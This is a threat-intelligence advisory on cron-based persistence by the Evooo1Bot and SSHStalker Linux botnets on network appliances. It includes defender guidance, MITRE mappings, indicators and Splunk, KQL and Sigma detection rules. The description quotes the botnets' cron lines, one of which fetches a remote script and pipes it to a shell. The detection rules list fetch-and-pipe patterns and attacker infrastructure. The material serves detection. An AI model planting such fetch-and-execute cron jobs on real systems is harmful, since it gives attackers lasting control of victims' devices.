# Cron-Based Persistence on Network Appliances: Evooo1Bot and SSHStalker Linux Botnets

> Eclypsium highlights cron as a persistence mechanism on Linux-based network appliances, citing two botnets that reinstall or relaunch themselves after the process is killed. Evooo1Bot installs a five-minute cron job that re-downloads its payload and pipes it to a shell; SSHStalker uses a per-minute cron watchdog.

- **Published:** 2026-11-17T18:10:16Z
- **Last reviewed:** 2026-11-17T18:10:16Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-6267
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-6267.png
- **ID:** TL-2026-6267
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 26 (3 shown free below)
- **CVEs:** CVE-2007-3010, CVE-2016-6277, CVE-2018-14558, CVE-2019-14931, CVE-2020-10987, CVE-2021-46422, CVE-2022-37055, CVE-2024-29269, CVE-2025-10123, CVE-2025-55583, CVE-2021-36260, CVE-2022-26134, CVE-2022-29464, CVE-2022-30525, CVE-2023-1389, CVE-2024-4577, CVE-2024-10914, CVE-2025-1974, CVE-2009-2692, CVE-2009-2698, CVE-2010-3849, CVE-2010-1173, CVE-2009-2267, CVE-2009-2908, CVE-2009-3547, CVE-2010-2959, CVE-2010-3437

## Description

Eclypsium (Paul Asadoorian, 2026-11-17) explains that Linux-based network operating systems such as Arista EOS, Cisco NX-OS and F5 BIG-IP include cron, so malware that reaches a shell on these appliances can persist through scheduled jobs that survive process termination. The article draws on two published botnet analyses: FortiGuard Labs on Evooo1Bot (2026-08-13) and Flare on SSHStalker (2026-02-09).

Evooo1Bot is a Mirai-derived Linux botnet named after the hardcoded string 'evooo1' and active since July 2026 per FortiGuard C2 telemetry. It targets internet-facing routers, firewalls, IP cameras, PBX and NAS devices by exploiting known CVEs (Alcatel OmniPCX Enterprise, NETGEAR, Tenda, Mitsubishi Electric INEA ME-RTU, Telesquare, D-Link; its exploit module also lists Hikvision, Confluence, WSO2, Zyxel, TP-Link, PHP-CGI, D-Link NAS and ingress-nginx CVEs, some non-functional as shipped). Exploitation delivers a download command that fetches the loader wget.sh from 91.92.40.118, which retrieves one of 12 architecture-specific binaries via wget, busybox wget, curl or tftp, runs it and clears bash history. The bot has 28 commands, including 16 DDoS methods plus an HTTP flood, a SOCKS5 relay (direct on TCP 1080 or reverse via an operator relay), an HTTP Basic/Cookie credential sniffer writing to /tmp/.sniff.log, an SSH brute-forcer with a 150+ entry dictionary that skips honeypots, and a CVE exploitation module. C2 uses port 443; strings are protected with AES-256-CTR and ChaCha20 and anti-analysis checks look for debuggers, sandboxes and VMs. The !persist command installs a cron entry every five minutes ('*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &''), a systemd unit described as 'Apache HTTPD Cache Manager' with Restart=always, a SysV init script, an /etc/profile.d/ login script and an /etc/rc.local append. It also lowers its OOM score and holds /dev/watchdog open to prevent reboots.

SSHStalker is an IRC-controlled Linux botnet observed by Flare in an SSH honeypot over roughly two months from early 2026. It spreads by SSH scanning (a Go binary named nmap renamed scan) and brute forcing, installs GCC to compile IRC bots (1.c, 2.c, a.c) on the victim, and drops archives (GS, bootbou.tgz) containing a Perl IRC/flood bot, log cleaners (clean.c, cls.c), a setuid shell launcher (ping.c), a distro-aware service installer and a 'prochider' rootkit. It carries 16 Linux 2.6-era kernel privilege escalation exploits (e.g., CVE-2009-2692, CVE-2010-3849), cryptominers, and an AWS-key web secret scanner. Persistence is a per-minute cron job ('* * * * * $dir/update >/dev/null 2>&1') whose watchdog script checks mech.pid and relaunches ./run, so a killed bot returns within about 60 seconds. Flare saw no active tasking, only IRC users joining and leaving, and found Romanian-language indicators but no Outlaw/Dota identifiers; attribution is not established.

Defender guidance from Eclypsium: read cron files (/etc/crontab, /etc/cron.d/, cron.hourly/daily/weekly/monthly, and per-user spool files in /var/spool/cron/crontabs/ or /var/spool/cron/) directly rather than relying on crontab -l; look for curl, wget, tftp, nc, ncat, /dev/tcp, base64 and pipes into sh/bash, @reboot and high-frequency schedules, jobs in /tmp, /var/tmp, /dev/shm, and Tor onion addresses. On remediation, preserve the cron file, remove the scheduler entry BEFORE killing the process, check systemd, /etc/init.d, /etc/rc.local and /etc/profile.d/ and vendor schedulers (NX-OS scheduler/EEM, Arista EOS schedule/event handlers, /mnt/flash/rc.eos), re-inspect after patching, and treat a fetch-and-execute entry as root-level compromise.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059.004 Unix Shell
- T1053.003 Cron
- T1543.002 Systemd Service
- T1037.004 RC Scripts
- T1546.004 Unix Shell Configuration Modification
- T1014 Rootkit
- T1070.003 Clear Command History
- T1685.006 Clear Linux or Mac System Logs
- T1027 Obfuscated Files or Information
- T1497.001 System Checks
- T1110.001 Password Guessing
- T1040 Network Sniffing
- T1090 Proxy
- T1071 Application Layer Protocol
- T1496 Resource Hijacking

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Cron Fetch-and-Execute Persistence and Apache HTTPD Cache Manager Unit (Splunk) - Post-Exploitation** (`TL-2026-6267-SPL-002`)

Detects Evooo1Bot and SSHStalker cron persistence from cron execution logs: jobs that pipe wget/curl/tftp output into a shell (Evooo1Bot !persist */5 job), reference 91.92.40.118, wget.sh, gsm.ftp.sh or plm.ftp.sh, or run from /tmp, /var/tmp or /dev/shm (SSHStalker per-minute watchdog). Also flags the systemd unit described as 'Apache HTTPD Cache Manager' (Restart=always) that Evooo1Bot installs. A fetch-and-execute cron entry should be treated as root-level compromise.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1053.003, T1059.004, T1543.002, T1037.004, T1546.004
- **Data sources:** linux_syslog_cron, auditd, microsoft_defender_for_endpoint_linux
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=os sourcetype=syslog (CRON OR crond OR "Apache HTTPD Cache Manager")
| rex field=_raw "\((?<cron_user>\w+)\)\s+CMD\s+\((?<cron_cmd>.+)\)\s*$"
| eval unit_started=if(match(_raw,"Apache HTTPD Cache Manager"),1,0)
| eval fetch=if(match(cron_cmd,"(?i)(wget|curl|tftp|busybox)"),1,0)
| eval pipe_shell=if(match(cron_cmd,"(?i)\|\s*(/\S+/)?(ba|da|k|z)?sh\b"),1,0)
| eval scratch_exec=if(match(cron_cmd,"(?i)(/tmp/|/var/tmp/|/dev/shm/)"),1,0)
| eval ioc_hit=if(match(cron_cmd,"(?i)(91\.92\.40\.118|wget\.sh|gsm\.ftp\.sh|plm\.ftp\.sh)"),1,0)
| where unit_started=1 OR ioc_hit=1 OR (fetch=1 AND pipe_shell=1) OR scratch_exec=1
| fillnull value="n/a" cron_user
| stats count as events min(_time) as first_seen max(_time) as last_seen values(cron_cmd) as cron_cmd max(unit_started) as apache_cache_manager_unit max(ioc_hit) as ioc_hit max(fetch) as fetch max(pipe_shell) as pipe_shell max(scratch_exec) as scratch_exec by host cron_user
| convert ctime(first_seen) ctime(last_seen)
```

### Microsoft KQL

```kql
let file_persist = DeviceFileEvents
    | where Timestamp > ago(24h)
    | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
    | where FolderPath startswith "/etc/profile.d/" or FolderPath startswith "/etc/init.d/" or FolderPath startswith "/var/spool/cron/" or FolderPath startswith "/etc/cron." or FolderPath startswith "/etc/systemd/system/" or FolderPath startswith "/usr/lib/systemd/system/" or FolderPath startswith "/lib/systemd/system/" or FolderPath =~ "/etc/rc.local" or FolderPath =~ "/etc/crontab"
    | where InitiatingProcessFileName !in~ ("dpkg", "rpm", "apt", "apt-get", "yum", "dnf", "dpkg-deb", "packagekitd", "unattended-upgr")
    | project Timestamp, DeviceName, Detection = "Persistence path written (cron, systemd, init.d, rc.local, profile.d)", Subject = FolderPath, Actor = InitiatingProcessFileName, CommandLine = InitiatingProcessCommandLine;
let cron_exec = DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where InitiatingProcessFileName in~ ("cron", "crond")
    | where ProcessCommandLine matches regex @"(?i)(wget|curl|tftp|busybox).*\|\s*(/\S+/)?(ba|da|k|z)?sh\b" or ProcessCommandLine has_any ("91.92.40.118", "wget.sh", "gsm.ftp.sh", "plm.ftp.sh") or ProcessCommandLine has_any ("/tmp/", "/var/tmp/", "/dev/shm/")
    | project Timestamp, DeviceName, Detection = "Cron-launched fetch-and-execute or scratch-directory job", Subject = FileName, Actor = InitiatingProcessFileName, CommandLine = ProcessCommandLine;
union file_persist, cron_exec
| order by Timestamp desc
```

### Sigma

```yaml
title: Cron-Launched Fetch-and-Execute or Scratch-Directory Job (Evooo1Bot / SSHStalker)
id: b2e84d17-5a39-4c60-9f1d-7e3c6a0b48d2
status: experimental
description: Detects cron launching a shell command that pipes wget, curl or tftp output into a shell (Evooo1Bot !persist every five minutes), references Evooo1Bot or SSHStalker infrastructure, or runs a binary from /tmp, /var/tmp or /dev/shm (SSHStalker per-minute watchdog).
references:
    - https://eclypsium.com/blog/cron-persistence-network-appliances/
    - https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot
    - https://flare.io/learn/resources/blog/old-school-irc-new-victims-inside-the-newly-discovered-sshstalker-linux-botnet
author: Threadlinqs Team
date: 2026-11-17
tags:
    - attack.persistence
    - attack.t1053.003
    - attack.execution
    - attack.t1059.004
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - '/cron'
            - '/crond'
    selection_fetch:
        CommandLine|contains:
            - 'wget'
            - 'curl'
            - 'tftp'
    selection_pipe:
        CommandLine|contains:
            - '| /bin/sh'
            - '| sh'
            - '|sh'
            - '| bash'
            - '| /bin/bash'
    selection_ioc:
        CommandLine|contains:
            - '91.92.40.118'
            - 'wget.sh'
            - 'gsm.ftp.sh'
            - 'plm.ftp.sh'
    selection_scratch:
        CommandLine|contains:
            - '/tmp/'
            - '/var/tmp/'
            - '/dev/shm/'
    condition: selection_parent and (selection_ioc or (selection_fetch and selection_pipe) or selection_scratch)
falsepositives:
    - Legitimate monitoring or backup cron jobs that download a script and pipe it to a shell
    - Maintenance jobs that run helper scripts from /tmp
level: high
```

**Known false positives:**

- Legitimate cron jobs that download and pipe an installer or monitoring script to a shell (should be rare and reviewable)
- Maintenance jobs that execute helper scripts staged in /tmp or /var/tmp

**Tuning notes:** Set the index/sourcetype to wherever cron logs land (syslog, /var/log/cron). Baseline scratch-directory jobs and allowlist by host and command hash; keep the IOC and pipe-to-shell branches unfiltered. Read cron files and spool directories directly rather than relying on crontab -l, and extend file-path coverage with auditd watch rules on /etc/rc.local, /etc/profile.d and /etc/init.d. On NX-OS/EOS also review scheduler, EEM and /mnt/flash/rc.eos.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Sentinel KQL) - Exploitation Phase (locked: unlock with TL Creds)
- Cron Fetch-and-Execute Persistence and Persistence-Path Writes (Sentinel KQL) - Post-Exploitation (locked: unlock with TL Creds)
- Evooo1Bot / SSHStalker C2, SOCKS5 Relay and SSH Spread (Sentinel KQL) - C2 / Lateral Movement (locked: unlock with TL Creds)
- Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Sigma) - Exploitation Phase (locked: unlock with TL Creds)
- Cron Fetch-and-Execute Persistence (Sigma) - Post-Exploitation (locked: unlock with TL Creds)
- Evooo1Bot / SSHStalker C2, IRC and Miner-Pool Connections (Sigma) - C2 / Lateral Movement (locked: unlock with TL Creds)
- Evooo1Bot Loader Fetch / Web-Service-Spawned Download (Splunk) - Exploitation Phase (locked: unlock with TL Creds)
- Evooo1Bot / SSHStalker C2, IRC and Miner-Pool Network Contact (Splunk) - C2 / Lateral Movement (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 26)

Defanged, TLP:CLEAR.

- IP address: `91.92.40[.]118`
- Domain: `gsm[.]ftp[.]sh`
- File hash: `f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109`

Full set of 26 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Cron Is A Sneaky Way Malware Persists on Your Network Appliances (Eclypsium)](https://eclypsium.com/blog/cron-persistence-network-appliances/)
- [Multi-functional Linux Botnet Evooo1Bot (FortiGuard Labs)](https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot)
- [Old-School IRC, New Victims: Inside the Newly Discovered SSHStalker Linux Botnet (Flare)](https://flare.io/learn/resources/blog/old-school-irc-new-victims-inside-the-newly-discovered-sshstalker-linux-botnet)
- [MITRE ATT&CK T1053.003 Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
- [Evooo1Bot Linux Botnet Exploits Known Flaws (The Hacker News)](https://thehackernews.com/2026/08/evooo1bot-linux-botnet-exploits-known.html)
- [New Mirai-Based Linux Botnet 'Evooo1Bot' Turns Victims Into Proxies (Infosecurity Magazine)](https://www.infosecurity-magazine.com/news/new-linux-botnet-evooo1bot-victims/)
- [New Mirai-Based Evooo1Bot Botnet Targets Linux Devices (Security Affairs)](https://securityaffairs.com/?p=197434)
- [New Linux botnet SSHStalker uses old-school IRC for C2 comms (BleepingComputer)](https://www.bleepingcomputer.com/news/security/new-linux-botnet-sshstalker-uses-old-school-irc-for-c2-comms/)
- [SSHStalker botnet targets Linux servers with legacy exploits and SSH scanning (Security Affairs)](https://securityaffairs.com/187833/malware/sshstalker-botnet-targets-linux-servers-with-legacy-exploits-and-ssh-scanning.html)
- [7,000 Servers and Counting: The Rise of the SSHStalker Linux Botnet (SecPod)](https://www.secpod.com/blog/7000-servers-and-counting-the-rise-of-the-sshstalker-linux-botnet/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-6267
